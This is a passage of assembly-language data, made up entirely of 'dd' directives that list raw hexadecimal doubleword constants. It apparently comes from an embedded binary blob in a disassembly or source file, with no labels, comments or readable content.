dd 523EA028h, 40D4E0EEh, 0EB84E002h, 293EA1E1h, 40606292h
dd 1C9A884Dh, 3ECF9B47h, 7EA02094h, 0EF238443h, 639AE2C6h
dd 0CD0A809Ch, 20F5F7B9h, 42BD0AF0h, 0E37C021h, 8F9F5236h
dd 0F0C0F694h, 575F7151h, 0F28A4005h, 7FFF80C0h, 6015B568h
dd 0A90A9003h, 0E0D285B0h, 603FEB9Bh, 0E492397Ah, 28A04F63h
dd 902023C5h, 0AEC000ADh, 0B66098EDh, 72F8B8A5h, 6A03A477h
dd 0EFF5A0B5h, 0ED380373h, 2977D620h, 0DD0F5118h, 2A756AB8h
dd 21209BF2h, 6EE2AAD2h, 0D4940067h, 780AD27h, 42263728h
dd 192BC6A9h, 0B218ED7Ch, 0CC303349h, 466644B3h, 850009EEh
dd 8F393043h, 26F0A5D2h, 0AB32CFh, 0B08E20D6h, 5B18AC2Ah
dd 7F208655h, 0C4410074h, 0F1AE11CFh, 0C607265Ch, 9E9283F8h
dd 37E0C0CFh, 2CABEAC1h, 360B499h, 0F967A021h, 0B081A5CAh
dd 1BD108Ah, 8BE3172h, 0FAE1FD00h, 2D8482EAh, 91678616h
dd 8314701Eh, 6027CEC8h, 5093B38Fh, 0E520C19Fh, 80BD0403h
dd 0AED8C768h, 801A89E8h, 6C075B70h, 0E1D04EC4h, 9C5F1210h
dd 0FE30050h, 0A0AA4611h, 6718DE97h, 8A80FA64h, 0F05F5423h
dd 0A1EC000Fh, 0BE3E509Bh, 932CA798h, 0D00B789h, 13F19280h
dd 6B7164h, 5D95AD72h, 871D79A4h, 62A16F00h, 0F8D8EA81h
dd 9ED60047h, 0A4559CB2h, 5E01DDF6h, 0C80F68C3h, 0E0EB438Eh
dd 2E620h, 0C62B52Bh, 0EB263A91h, 0B5A1772Eh, 0A05F500Fh
dd 6C0F8547h, 0BD7D0675h, 304FC843h, 57120201h, 2228F739h
dd 0FD4900E3h, 0AE1AFC1Dh, 60C84FDFh, 0D1638010h, 57EADEC0h
dd 5D79B007h, 9BB02ED6h, 2FDC55h, 67A64929h, 84C6BB56h
dd 51380161h, 22FFC175h, 0CB004C78h, 2469C44Eh, 75636819h
dd 93471E31h, 7995C055h, 0D1219A03h, 67026890h, 99B11581h
dd 0A8B5C2h, 9B8955A2h, 69182229h, 0D6814376h, 0DEA4FEDEh
dd 0DBED0418h, 782B001Bh, 0DDBE5DE7h, 302A58C8h, 9200A547h
dd 6BCEEA05h, 0E1B5D08h, 0A9481E2Dh, 5583FFDDh, 4D53EC78h
dd 7AB0610Eh, 1D5AC004h, 0C0509713h, 8D8E6718h, 0E93EBC0Fh
dd 0ACFB2A07h, 39DE52FCh, 0EB28DC00h, 50BD36D7h, 3007CCF3h
dd 792054B8h, 1430C208h, 15A7A15Ch, 0C474005Dh, 0F16A7CE5h
dd 0C150A00Ch, 78C09360h, 0DBBA026Fh, 0EFF0A8A7h, 330E0006h
dd 55BB83D7h, 5180F849h, 9091D0F6h, 5F6E7F0Ah, 0CEA48370h
dd 581E9F25h, 813BBF79h, 41721FE0h, 5DD8B574h, 9B0C01C9h
dd 5AD80162h, 0A30C20ADh, 98FA1E30h, 122F16A8h, 40D3071Ah
dd 0CA7D3740h, 0C9125228h, 7400B9EAh, 0D6ED68B4h, 886354F1h
dd 8FEB0624h, 81ADEC19h, 4081D881h, 0C99E50F4h, 24BF5624h
dd 77B3D43h, 0B8E82978h, 0F966E643h, 4386C04Ah, 88939038h
dd 0F319EB8h, 67B6E3C9h, 3EAF4A81h, 0CB424DCh, 0E76D8402h
dd 43BCA97Dh, 1523F060h, 0C4F17474h, 819BFC10h, 8F29D93Ch
dd 41832610h, 3A79015Eh, 0C1949AB8h, 7CE4FEh, 0B47A578Dh
dd 69193181h, 4BAA8C9h, 8E40254Ch, 2BEE5D9Dh, 81285892h
dd 0E1110CC1h, 0AD1028F5h, 154584B4h, 491C4923h, 97003D20h
dd 919931B4h, 1BB009A4h, 0AE2974h, 808C26AAh, 0ACC4C19Eh
dd 5D026818h, 503D320Ch, 1CB48A2Ah, 0F8D0401Eh, 0B9744501h
dd 88C95CD7h, 45026018h, 0C905FCDh, 7199555h, 0B84B7828h
dd 86DBE913h, 0DF135820h, 8402824Ch, 30434FD1h, 0BF6B69C0h
dd 6FD160A3h, 840701ADh, 0E61B244Ah, 48581949h, 0A89E2A28h
dd 3C436B21h, 0B1E2C080h, 0BD7B90A3h, 129B2700h, 0EE0C1722h
dd 0FE290187h, 6C1F485Ch, 0D63BD001h, 18012D7Bh, 0B2B8129Eh
dd 27E0114Ah, 0B8400BCh, 6AEF578Ch, 0B7F0EC49h, 0D9A5ED07h
dd 0CC538B90h, 0EB91A025h, 1F160C51h, 45484FE5h, 0D0C78C1Eh
dd 7AA38D40h, 173BF8h, 942AE28Bh, 0CD9FA28h, 57AE9A00h
dd 0DB895458h, 0AB973CC8h, 85A86A02h, 3C90A37Bh, 0BA22969Fh
dd 26B823D8h, 619CF908h, 0CB1E394h, 2BAC216Fh, 0C198FC08h
dd 8B5B3E4h, 15A146EBh, 237847F7h, 3FA987C8h, 988E8835h
dd 0DFC490FEh, 9990312Eh, 33919310h, 0B4BB531Eh, 8182714h
dd 229F7E7h, 838B3392h, 6F278881h, 0E0608410h, 0B331B2F3h
dd 21301607h, 0E3018ACBh, 128650D4h, 0F69B2080h, 5CEA26F7h
dd 460BD52h, 9E17B4F1h, 20F40445h, 29FD9B30h, 6C7C60A0h
dd 18109CACh, 0CF84AC47h, 892B608Fh, 0E2D845BDh, 2D4DD8B8h
dd 0FD7C2B86h, 0F7830A9Ch, 0C2A4913Ch, 0AB66FCh, 2C622D10h
dd 4D040C90h, 4F121F92h, 0D9F97880h, 0A3472A98h, 8564241Ch
dd 30C76530h, 0BA2EE358h, 43A1E884h, 3E11148Ah, 0C434CAF4h
dd 0B0262BE4h, 7C3C9C53h, 444B0CE9h, 40A9A7Bh, 9437162Dh
dd 10184D14h, 47C59F44h, 4B542190h, 114823D9h, 3E24BD0Ch
dd 86A23EE4h, 33131880h, 27206CA9h, 44537500h, 0FE4672C4h
dd 2BB1CB08h, 0F4466043h, 6F14609Eh, 34C88412h, 47701848h
dd 3C2B8601h, 14049C46h, 2B22B4BBh, 37D91013h, 0E208C879h
dd 44192445h, 0A4BBD85Ch, 6F6C103Ch, 34B4CFAEh, 0E29BC8C0h
dd 3CA49CEBh, 0B9297018h, 0F4478417h, 0C2119B10h, 1BB5A5CCh
dd 7F1884A2h, 5B218C8Dh, 267C882Fh, 75FC4794h, 24FC11D0h
dd 0EE042C93h, 8304BA25h, 901C0455h, 108FBF31h, 6A2D0743h
dd 144411CAh, 8B34D862h, 0C1288631h, 2BAA8310h, 616EC885h
dd 0C6B6C9Ch, 0F860A687h, 4C578695h, 7DCD149Ch, 0B878C9D8h
dd 0A60B7B08h, 837FF9Ch, 0C2989C24h, 27308FF7h, 5449A40h
dd 0D4FD607Bh, 29888098h, 0D216F9F4h, 38402251h, 0B8D8BBCEh
dd 209E67C7h, 69803F27h, 76D9AEB2h, 56E82B09h, 0A8A48352h
dd 0FDB03EBDh, 309A4398h, 6262D64Eh, 98B7F7D9h, 2704B524h
dd 98F00745h, 65C42481h, 8F989128h, 0F8981867h, 2258D995h
dd 8AD37C1h, 4C91C158h, 34DCBB19h, 0A005282Ch, 0CEE330h
dd 8139F008h, 94484C90h, 8388502Ch, 4DE2EA92h, 0DB733003h
dd 0A19717Dh, 52BA4578h, 500F9794h, 0A9A09408h, 76F0538Dh
dd 0CFF5F20h, 4E2EAC16h, 0F50CBC81h, 115B7B9Ch, 0EFDB3076h
dd 0AB58FC29h, 0E48F3728h, 592F1409h, 92A400BBh, 189D038Ch
dd 3826B47Bh, 0A490C83Ch, 0F6237301h, 5B2D1580h, 25A29C51h
dd 29FD0474h, 5A893CEh, 31D8E6FCh, 0C2B5A4h, 481A2D18h
dd 10051042h, 86F8B4C9h, 2702293Ch, 13AB5A7Bh, 104460C0h
dd 0B1BD2C38h, 0E6D000Ch, 28FA1178h, 0ABD398A8h, 56021203h
dd 0C0FD8022h, 0D16D6C29h, 6F0368E0h, 0B5B2BFABh, 0C5DF510Fh
dd 0C149026h, 6F266020h, 8C793080h, 24488D12h, 48EF071Bh
dd 2CA2C62Bh, 9C088445h, 0AC4100C4h, 24E318D4h, 186A9820h
dd 8849E8CFh, 2DF4AF3Ch, 6006C8B8h, 573B42A1h, 9A0405E9h
dd 2161F45Bh, 0F8D28DE8h, 30A1D9B3h, 0A73C10BDh, 87FE88E0h
dd 89185162h, 0E094A823h, 0F77CA9E0h, 5FBF01D2h, 0C1B9374Bh
dd 0B2484022h, 0A6888C54h, 5484FE09h, 19D6C81Bh, 681D8B18h
dd 800C50ECh, 7D0CB4D9h
dd 0A0A86EFEh, 2685FC89h, 3E307813h, 281EB89Eh, 15BEF018h
dd 0B4C39BB5h, 0DD0C1800h, 15371A9Fh, 0EC41CD2Ch, 83047824h
dd 9003B4BEh, 0F1CE9D86h, 7031710h, 877B8C06h, 30ED681Bh
dd 4152783Dh, 0D717088Ch, 148415E0h, 0C0AFC862h, 4AFE9C60h
dd 471EDC92h, 0F484EB3Ch, 690E8F49h, 99792042h, 0D9F70040h
dd 0B0B8E07Eh, 291EEA04h, 0B88817B7h, 8EEC099Bh, 0D8206074h
dd 224EF206h, 88710E18h, 0E2C46D28h, 0D3490B6h, 592D1F14h
dd 282C42E8h, 0C40B2C50h, 202A2B63h, 0E5B5482Ch, 58A8C2E6h
dd 3D43A46Dh, 20102805h, 0A042DF65h, 81122AFFh, 27338948h
dd 847451A8h, 3BC11EA8h, 56AD0C15h, 110C93D0h, 0C107FF6Ah
dd 260F3CB7h, 8B487480h, 0F4DA0B16h, 0C74984F1h, 9890BAB4h
dd 26AAB05Ah, 8A704D46h, 842C1429h, 0C11DEA91h, 26B22Ch
dd 1AC589CEh, 18FFEBCCh, 10354044h, 7805412Ah, 24205ACEh
dd 90FA70CFh, 0EEE80A4Ch, 0A4481190h, 4A9902ECh, 0B2019E18h
dd 16020824h, 3ACDFE0h, 1588324Ch, 630074Bh, 4F6315EAh
dd 0BBC00281h, 269EB8C1h, 17CA0880h, 7A2850D4h, 9658BCF3h
dd 9A891004h, 319DE84Ah, 0FE2D5028h, 7470BC35h, 40A4AA20h
dd 2016D13Ch, 89FC55FAh, 8400F4EEh, 10F2CB1Dh, 18F77D93h
dd 11D1A1BDh, 0FB10FAB6h, 6601308Fh, 0BE313B5Bh, 0E3A52150h
dd 78183807h, 2FF0AB1Eh, 63EFA333h, 748F180Fh, 18ACF3A8h
dd 34A8B9F0h, 26015365h, 2938F0F4h, 0C23098A0h, 0CB9C0087h
dd 0DA18A9CAh, 3D1E89E2h, 4EC345BCh, 756DEh, 0C317BD71h
dd 4B8F6C25h, 6D020D01h, 0FFF4838h, 0A01124E0h, 2A299Dh
dd 0D894E341h, 0BF7AB905h, 386C38h, 904B6489h, 305E18B4h
dd 8F5910F3h, 7700BD50h, 93D3EC7Ch, 7F4037D8h, 98150C53h
dd 0D2280D5Eh, 0BA208A54h, 0A3F02A7Dh, 50E8F160h, 6C23CECh
dd 9CFD670Ah, 290061E2h, 6F124F3Fh, 549AF5DAh, 1BAA84Eh
dd 9E538A55h, 0FF6884A5h, 2837B03Ch, 623D10BFh, 93780A45h
dd 0D488A4F9h, 72CA1D9Eh, 88A31610h, 1074D1F4h, 0DBCAB4A8h
dd 1592BA0Ch, 0DC811D0h, 0BC3E76B9h, 92F6E831h, 651040EDh
dd 4E2276BAh, 4610A8B7h, 3011C0B5h, 0D14D92B9h, 0F60531C1h
dd 21805676h, 112BF72Fh, 0E005AD66h, 0B23C04D4h, 4630DC40h
dd 3E24AA39h, 0E906156Ch, 31619BF5h, 6401A472h, 87F7CC69h
dd 77F8BB4Fh, 184675DBh, 60C0A879h, 0AE77E7C9h, 7D0289E8h
dd 0E25C316Eh, 7960D73Dh, 3350BC94h, 0BB0079DCh, 386BD96Ah
dd 2A04C7A3h, 0CF4BA49h, 2D9483BCh, 1900CD28h, 0FBEAA3CFh
dd 60B52A26h, 0BB631834h, 0DE483AD5h, 0C2A11F50h, 55817A40h
dd 920FA32Ch, 0D758A018h, 18AB0A10h, 15ECE43Ch, 8906F8E0h
dd 0D0FE8C77h, 873FAEFCh, 0BC3F83C6h, 5EC67h, 2E9C7118h
dd 0B618F820h, 71A7A1Ch, 25B13918h, 20578011h, 9C5D71C4h
dd 3C7B3488h, 0C9067232h, 40190F3Ah, 0A0A61F32h, 1CBD2204h
dd 0A990448h, 0B102EF0Eh, 6488A591h, 0C0772440h, 18970BE1h
dd 79A68562h, 683146B8h, 1DF9A80Fh, 27B1024h, 8C5E248Eh
dd 0D443F023h, 0F83B70A1h, 0C00597E7h, 0E29D6CF9h, 3314BC14h
dd 0E0CB3905h, 0C66D1139h, 99E18F18h, 0BE88B11Ah, 24BD6108h
dd 4F03B9BEh, 65FAEF04h, 645E1134h, 8EA4AC03h, 0F7C09FD9h
dd 330076Bh, 98CA0D70h, 31DE84F5h, 10C493F0h, 2649D127h
dd 0D0178C02h, 0C2F6F423h, 9A1884C6h, 999ED806h, 35709100h
dd 0B79F4B11h, 0AA890490h, 81859AF6h, 0F0BA1544h, 0CDFE528Ah
dd 98105E06h, 61C0160Eh, 0A1F238A5h, 0C98020D2h, 0B51984FFh
dd 34C021E1h, 157CA52h, 25B61598h, 8C1DEBFCh, 0A8C61A18h
dd 18A89179h, 3E4BF93Ah, 0B09834E0h, 0F8069C24h, 29B0BE0Dh
dd 2C4F8FD4h, 590634Eh, 3514D91h, 920F1A5Ch, 0EC802A8Ah
dd 91FBBAFFh, 7854DB49h, 9BF69806h, 4011F14Ah, 0B8442B86h
dd 292F80AEh, 109941CDh, 209CC1D9h, 0D43F0B16h, 7ACFA8Ah
dd 0BADDFE32h, 0DC9880ACh, 50206A73h, 0F687A703h, 2669F6Ch
dd 9C8834F8h, 2440C6DBh, 7C1346BAh, 0BCE5h, 0FE7F48ABh
dd 0BF213C12h, 382C3D84h, 8710971Fh, 957C8247h, 0A6A884A0h
dd 0D0B5748h, 800584BCh, 0CD3E595Ah, 0E1B80E1Bh, 0ED40991Ah
dd 0A94B96F2h, 7442448h, 4CC91809h, 981CBB50h, 98A1E90Ah
dd 6A1164h, 26F59C7Bh, 83994BE4h, 0ECA0FEDAh, 86A1ADCDh
dd 0F49h, 0AE15B872h, 54308D7Bh, 29DABCC3h, 69789F88h
dd 2247948Eh, 4D0C4AAh, 0CB009E72h, 0EA92F5A3h, 0E5119F64h
dd 0ECD0D8C1h, 0D8481025h, 938985Eh, 12B8FF69h, 2CAB5090h
dd 90E56C09h, 986002B7h, 72284826h, 39471886h, 894B1131h
dd 0EA1EDB98h, 0F970E073h, 2C71E9DBh, 824CFC84h, 0F78EAB79h
dd 0B2C0A4C2h, 9898D4C1h, 7634D0B0h, 0D868795Fh, 4F0C40EDh
dd 10007673h, 0AB5BFB91h, 7333087h, 0D959C5F0h, 0BC1A108Ah
dd 930181DDh, 0EC5DB884h, 0D86496A8h, 1C502677h, 6105184Ch
dd 0BC03218Fh, 8A932E35h, 571106BEh, 71C0A6EEh, 62108705h
dd 2CCCDB53h, 0D41CA08Ah, 4780451h, 849B8B39h, 0F9A86150h
dd 4C400965h, 53E11304h, 34C08CA6h, 2A877490h, 1274E8A6h
dd 861D758Ch, 0C8DA7613h, 0C450D454h, 44888CA5h, 601F480Fh
dd 4B963612h, 64021628h, 0F06D038h, 172B0A51h, 8880900Bh
dd 483CA86Eh, 204AA230h, 0A7C455DBh, 7CA5B8C1h, 0D080D65Ch
dd 0B692FA11h, 0F73F8761h, 0AA5AB980h, 1749B082h, 0C894829Ch
dd 0BDC23D14h, 5D8448CEh, 0F36D383Dh, 31B83893h, 0F86E05B8h
dd 5114A896h, 80BC8FBBh, 0BDF9E813h, 0E611C0FBh, 3F742588h
dd 66511E12h, 48A78040h, 262476B0h, 0E4CCDDBh, 0B3C7638Ch
dd 5D7FF218h, 71A14444h, 0B60C60E9h, 0D4AEE13Ch, 99789574h
dd 62031E13h, 0D73B7C20h, 3887007Ah, 5AB8A2C9h, 98E810CFh
dd 0C0D0B66Fh, 568FEC4h, 9AF6443Ch, 2408B824h, 9FB9C381h
dd 4DCCD40Ah, 5B1200CAh, 97DB3183h, 1B09C239h, 321662h
dd 20CDF7A0h, 88020479h, 0C28EFF13h, 8C4DEE0h, 7AC4E65Ch
dd 791D08B1h, 0B1190869h, 118AEE30h, 28B56B29h, 65F720F8h
dd 0D1F4561Fh, 0E39CFC46h, 37B51E29h, 0E69B45DBh, 0DF900626h
dd 708C806h, 3CC52FBEh, 40790203h, 11182539h, 57F1BF48h
dd 2A6C92F6h, 28D4138Dh, 2014C939h, 0BD051123h, 0DC64E99Ah
dd 0F8802F85h, 0EF490598h, 65347710h, 56CEE48h, 5E79B7C7h
dd 6CFB04Bh, 4905D0h, 0B190AF70h, 200A8755h, 9984F412h
dd 3093B495h, 18D8C5B6h, 0B30B9CEh, 28B1F42Dh, 0DE3070FAh
dd 2874BC88h, 65841A28h, 0D2FE99FDh, 0A2FC510h, 0A03DF86Fh
dd 0A25C010Fh, 79F5B7DBh, 984980E4h, 3624C104h, 0CC1350F4h
dd 0C388A8C4h, 9098A48Bh, 54644998h, 0CE5EA402h, 98E0C988h
dd 7900B651h, 0BB047B20h, 9AC79C5Dh, 382300ACh, 7EA413CDh
dd 6C900EADh, 7129100h, 635B1AEFh, 0FC8298Ch, 59D6800Ch
dd 4E9D2BDCh, 43004498h, 0EE2536D1h, 5D32D5Ah, 776C63BDh
dd 8640059Ah, 3900D09Dh, 304C412Ch, 28102418h, 71401826h
dd 9405179Ch, 0DCE8928Ch, 0D6425DECh, 0E6110A82h, 0FEA94C0h
dd 0CC67B600h, 6BB8D904h, 91973183h, 0D42B13E8h, 0D003CB15h
dd 8459070Fh, 294009F9h, 0A8A0488Ah, 0C9D3F363h, 3B1EF87Ch
dd 0E205317Ch, 6C80E8D7h, 90D4AD18h, 0E27096E0h, 0F6079E72h
dd 0DCC8C240h, 79BA1266h
dd 7BD0C031h, 1E3076F3h, 0F03458CAh, 0C46381E6h, 0F97CBEDEh
dd 0BCBBC526h, 0B97CBF83h, 3B7498B0h, 0A488A00Ah, 21FD288Eh
dd 5F783EA8h, 0DB362E82h, 0FDC0B4E7h, 0A10022E0h, 0FABDF358h
dd 4CA325D8h, 0C75D0C9h, 0CBDB7472h, 6630A4B0h, 647149FBh
dd 18CA6428h, 464CC9DAh, 72A2B0ACh, 0A1988410h, 83E140h
dd 0D9236D19h, 722ECD7Ah, 560004E4h, 1CBE3AF9h, 5479BB78h
dd 7FD47C37h, 8C5A88A7h, 434AE144h, 598080BFh, 45F04774h
dd 30E931ACh, 0A17478C8h, 7C02F429h, 0B558858h, 0EEA08D48h
dd 2D101C01h, 29607027h, 17F20C9Ah, 0AC20BA26h, 0B8EE50Eh
dd 0BBC821BCh, 3B00134Ah, 5B24E68Ch, 9F003C92h, 0F3931E01h
dd 2080E11Bh, 7B04F4F2h, 20A78F4Fh, 0C06ED508h, 0C8615E7Bh
dd 630018E8h, 74141C69h, 4B879EBCh, 0ED800004h, 4FBD91AFh
dd 0A052C300h, 277FFBCAh, 49CC3A31h, 82F6C480h, 803E0F30h
dd 81BFA900h, 4E0811AAh, 0F05C0096h, 0FB78018Ch, 0D800C816h
dd 85FE4C6Fh, 0F0815008h, 5BA90062h, 0D118C411h, 9F396D15h
dd 0AE708166h, 0CEF9F178h, 8F4EF4h, 0FBE8246h, 0DCF2CA61h
dd 12292300h, 0B106E11Ch, 880300BBh, 9139EE6Dh, 0A900E08Ah
dd 4EB7CAE3h, 3C55DD8h, 8C61C8C7h, 19889F1Bh, 6E00F7E2h
dd 284D0358h, 67BBEAh, 4ED9FA90h, 985649DFh, 1410CCEFh
dd 0D269F201h, 2716B333h, 38889EE0h, 0A802E39h, 0B1089FB5h
dd 5B00111Fh, 8F591BDFh, 632687h, 3CC86EA6h, 53153F33h
dd 5CDFDA00h, 0F603B2ACh, 0B0F900E9h, 0E3C9C381h, 5E00C492h
dd 1F66FB0Ch, 454F2Ch, 42CC2458h, 4102E80Ah, 0A194EC00h
dd 0E7F864B6h, 0AC2907B9h, 39729917h, 842C74E0h, 0BEA03800h
dd 29480D41h, 0C572B7h, 7087C7EDh, 0DF6C83A8h, 2CF66900h
dd 109FAB61h, 0A7DE2432h, 0B51D5Eh, 0B4EDEF8Ch, 97E63019h
dd 144FF000h, 9A293A1Eh, 12B600F3h, 3244823Ch, 87F4845Dh
dd 93977B00h, 9951222Ch, 9FB60243h, 0C6A98E8Dh, 7600AC72h
dd 0A17FD8FDh, 3B60D752h, 0DB01F884h, 2EDD5A5h, 0D3C1CC48h
dd 698EF001h, 0DFD91991h, 0F4BB9EF4h, 7B7206h, 6EC5F881h
dd 2DF98EE7h, 5C1C1700h, 6D2C7A22h, 0F7AE0032h, 6939F850h
dd 8300EF3Eh, 2B1AD45h, 0F2EE78Dh, 1C8C2F9Eh, 0B7F3801Eh
dd 421E6C3Bh, 0D1F3F00h, 4D1DF4AFh, 0CBB603E5h, 0BEFA7732h
dd 81DCDEC8h, 0FC03CE77h, 22116150h, 80D9CB4Fh, 3D618CFh
dd 0FFF7ED28h, 0F4EBA0F8h, 128DE0B0h, 0DFAAE514h, 0D7E300D8h
dd 2FBADC3h, 621700D0h, 487795B8h, 6018151h, 12542679h
dd 0DAD44D80h, 0F157003Fh, 0C6F3B5A4h, 6B00DDA7h, 0CB97FF6h
dd 67CF4Ah, 3D235368h, 9D8FF048h, 0DA989E00h, 8ED23294h
dd 8DCAA02Dh, 0C6355CC2h, 0F922CA00h, 0BFCF87E3h, 0A4BDF700h
dd 0B8059C09h, 0F2EFC4Ch, 58490B2Ah, 0FC5AB040h, 260111CAh
dd 0A37B9316h, 0CBF0B486h, 58B0D2h, 0C9433D24h, 0D02F8A63h
dd 2B40A0C2h, 4D84207Eh, 92022078h, 763D47CBh, 23CE8787h
dd 4952DEE0h, 2E6E03FAh, 10C7E58Ch, 8A3783D0h, 4DB70C00h
dd 0BA2390FBh, 0DB1D0186h, 0DD9812AAh, 62DAF430h, 9027CA28h
dd 0E6CC20h, 6C5D50Eh, 49951048h, 56523200h, 719A9121h
dd 3B7A66h, 0C0A66ACDh, 2DA54C6Bh, 0B44EFE01h, 6D82E724h
dd 3B0AC47h, 77F98F5Eh, 0E8D407E0h, 80DA60D9h, 2FF71EF5h
dd 0E24263Ch, 0A0F40FAEh, 1ACF7C71h, 10E2CAh, 0D397736Dh
dd 8974C428h, 0E7D6F62Ch, 0E4013500h, 0CCCEEDh, 3D2AB9C7h
dd 5ED99D72h, 45BDE00h, 34AEC93Bh, 42F1001Dh, 9F4543F9h
dd 621D5141h, 0B301958Fh, 15776537h, 5C2B20h, 3E480969h
dd 60B080C9h, 0E267F100h, 1D8BF94Dh, 0B5D90085h, 13D6AFBDh
dd 0B100756Ah, 1001FD2Dh, 8119E5h, 7BDE95D7h, 0F3A64B56h
dd 5C43C500h, 79E436CFh, 0EE8C033h, 953DAB3Eh, 0B8171F00h
dd 0F8945EDCh, 62B600A2h, 0EAC1B2D6h, 9C00916Bh, 0FF63132Dh
dd 2D0E225h, 0A20E5951h, 85C057A6h, 91008734h, 55132E1Dh
dd 3D97E2h, 0D2336074h, 0A5F1E7EAh, 0C71FAEECh, 0F5C02D44h
dd 0D43847FDh, 0C15E00A2h, 0F99C3568h, 571F2342h, 1983B10Ah
dd 0A0B98B96h, 0CB431h, 0D6EA1620h, 263FDBF0h, 8FA0663Fh
dd 0CA47278Eh, 0C901F06Ch, 680A84BBh, 6369F850h, 3AFE7Eh
dd 0A61E855Fh, 0B92EA2DCh, 0CFE2EA00h, 1CD7EFB7h, 482A0026h
dd 0DDC6718Bh, 0C807737Ah, 12A9F010h, 500BA571h, 71E4D824h
dd 381D7F03h, 0E0044161h, 90CADC8Ch, 70FAB7DCh, 925930Ah
dd 1C00A8BEh, 289A129Bh, 2DCA1DFDh, 146ACC56h, 0EC903711h
dd 0B35E4B09h, 0B51600D2h, 951BD7h, 218ADFE2h, 0F772A78Bh
dd 0F0D4CE00h, 0C358B6EFh, 0DFCD00ACh, 7362A07Fh, 0D0A049ADh
dd 76001EC7h, 26B86D11h, 1F030D8h, 0BEE19DD6h, 0FC0F0944h
dd 0D07E1F69h, 4FEE2D00h, 2A9DE911h, 1310007Eh, 8AFB33DCh
dd 0D10017C2h, 3C617C21h, 1D7FAEB8h, 0C0879232h, 0F605CF25h
dd 0D6002F77h, 0E710E5ECh, 29E426h, 8DF81A21h, 4C9A7522h
dd 802FF43Dh, 0B40A8EE1h, 1C4D02FFh, 3CA00B9Eh, 47DB4B00h
dd 3F086A92h, 8B46FE03h, 8856E311h, 5AF9B8h, 0C723D81Bh
dd 1721C426h, 6A7BA701h, 0C08DDD01h, 6B9F920h, 4EB329FBh
dd 3474B2B0h, 803F4DE6h, 0E0E9812Bh, 0DBD36EBh, 4C7CB760h
dd 9200F116h, 9A27452Ah, 697362E6h, 0CCC68200h, 20C321E0h
dd 0D3E90FA0h, 816E683Bh, 0B0049E67h, 9CDB1C77h, 49A91D00h
dd 4D2E7563h, 0E7830223h, 5AA0713Bh, 0C0F590C0h, 0B6BA2100h
dd 0C9DBC19Ah, 0BC6E1C53h, 2A0B0050h, 0E7D2A5F5h, 0B90788F4h
dd 0A47EEB24h, 735C0D20h, 0ACF10010h, 27B18BA8h, 0EB007A3Ah
dd 7DABA1AFh, 174525Ch, 35BCD6E0h, 801DF394h, 498CEF68h
dd 181E40BBh, 8771986h, 763BE2Dh, 0E32E7220h, 3B6DE018h
dd 0A1EB60AFh, 35A8756Ch, 0EEBDE107h, 8C40E0CDh, 0FF7A7Dh
dd 606AEDAFh, 0FC365331h, 0A0A63C0Eh, 5BD460C9h, 3CC7677h
dd 3483C54Ah, 897B1E51h, 6C118D10h, 0A824F10Fh, 21BD7C02h
dd 0B408032Bh, 90ABD0A1h, 862D3AF5h, 0A95E6F0Ch, 5B032140h
dd 26F493EBh, 0DD56A8B0h, 9147008Ch, 0B16808A5h, 0BC01DBE7h
dd 6C3ED71Dh, 0FA8021CFh, 7E89B555h, 31005C91h, 66E23006h
dd 0EA822AA4h, 0C0D6001Fh, 0B6B355B4h, 0EA001A68h, 5AB0FDAh
dd 0C0BFA090h, 0F6FAEFA1h, 49744F08h, 8E4A6D00h, 5B1FC1B4h
dd 5C3CEA57h, 7A0151DEh, 4D473BEAh, 87BCF949h, 5A8FB662h
dd 8858281Ch, 2F3E4267h, 0BF7680EFh, 0D4B96B5h, 741D00C5h
dd 40939EF2h, 0D89DBA3Bh, 6E2A380Ah, 2B9FDDB8h, 971D439Bh
dd 2DC8F47Eh, 1700FAC1h, 0AD4F383Bh, 0F0E93C74h, 0F984009Ch
dd 0EA461CCFh, 8B000475h, 0B42BE2FBh, 7D72C0h, 213127B5h
dd 26718E06h, 2F921C00h, 1E586C8Bh, 679F008Fh, 0AE0259F5h
dd 0BE00496Bh, 63DFEBAAh, 776C4Dh, 0D1329D93h, 0E118EC6Fh
dd 54DAC402h, 0C0865E1Dh, 4BDC8Fh, 0A5D27C66h, 561F72D7h
dd 0B9283000h, 8410635Ch, 0E3BE00BFh, 0C6FD8182h, 35009D05h
dd 834CAB9Fh, 55EA20h, 1485FBA2h, 40D53C0Dh, 1B421800h
dd 0AA6AC6D0h, 0B29B005Ah, 0C23555B7h, 18000D91h, 0F61E27ABh
dd 799F2366h, 0FAAD0351h, 0F1687861h, 0BC7A0800h, 6279E9F7h
dd 0AE040F3Ch, 0FA2F998h, 8540C4AAh, 6F703917h, 9E085807h
dd 14B1DA0Eh, 0F07A3C8Ah
dd 7907B270h, 70820BF2h, 0DEB772E0h, 3E3E7C15h, 0F724D85h
dd 0F044A83h, 4573A0A1h, 0FBB683DDh, 0C8D1A7A1h, 7B916E9h
dd 579EA231h, 0B26872CAh, 0B79DFD80h, 6D03C3BBh, 0B1F60CBh
dd 6158067h, 12A70F6Fh, 81A0B8DDh, 0ACD9879Fh, 0A034B3Ch
dd 0D434E34Eh, 0C0C81700h, 83C248h, 0E8267480h, 0B2F12ECEh
dd 4A099D14h, 0B3F27BE4h, 0E3368A00h, 7D1E96B8h, 0FAD076Ah
dd 90A11729h, 821934F1h, 52260B00h, 6AB567D7h, 68FF018Fh
dd 0F22B3D62h, 82C5D4C3h, 0CF2CAB00h, 0F734E037h, 93BD0060h
dd 1C49A14Eh, 0F0F337Ah, 548C79BCh, 6748008Ch, 1BD2543h
dd 0A40D0052h, 223CEC58h, 343F3F07h, 425500ACh, 0DBE1B770h
dd 3DC80091h, 0DFAF856Fh, 0D50092CBh, 64C76552h, 82731h
dd 0B8DCFB7Ah, 8C39F747h, 0BD5588h, 0D0954E35h, 1EA6162Bh
dd 0EC917700h, 0CD67AA1Bh, 0ED660CBCh, 7241B2EBh, 8F0FEA00h
dd 784E830Ch, 933E003Ah, 0FBC61813h, 0ED129D2Ah, 50007E6Fh
dd 268C748h, 0E6B103F6h, 922B4272h, 0F77532A8h, 0CEB39D05h
dd 6A872DD3h, 922B9F0h, 0F5530349h, 0C81841BDh, 0A6FD2A0h
dd 66004FE4h, 123BE2C5h, 18C3B7A9h, 6883DA93h, 5C01304Ah
dd 1397048Dh, 53F895BEh, 0E271E9h, 6027FB1Dh, 9B443B3h
dd 1274F100h, 0A772BBC3h, 81BF0F7Ch, 0F6203C77h, 7ED6109Ch
dd 3479F900h, 4F6780BEh, 8E5000BBh, 7B974A4Ch, 0B1072CEAh
dd 4532B43Eh, 0C8D2AAE0h, 103316E2h, 0FC9B00F5h, 0ED5B0CEh
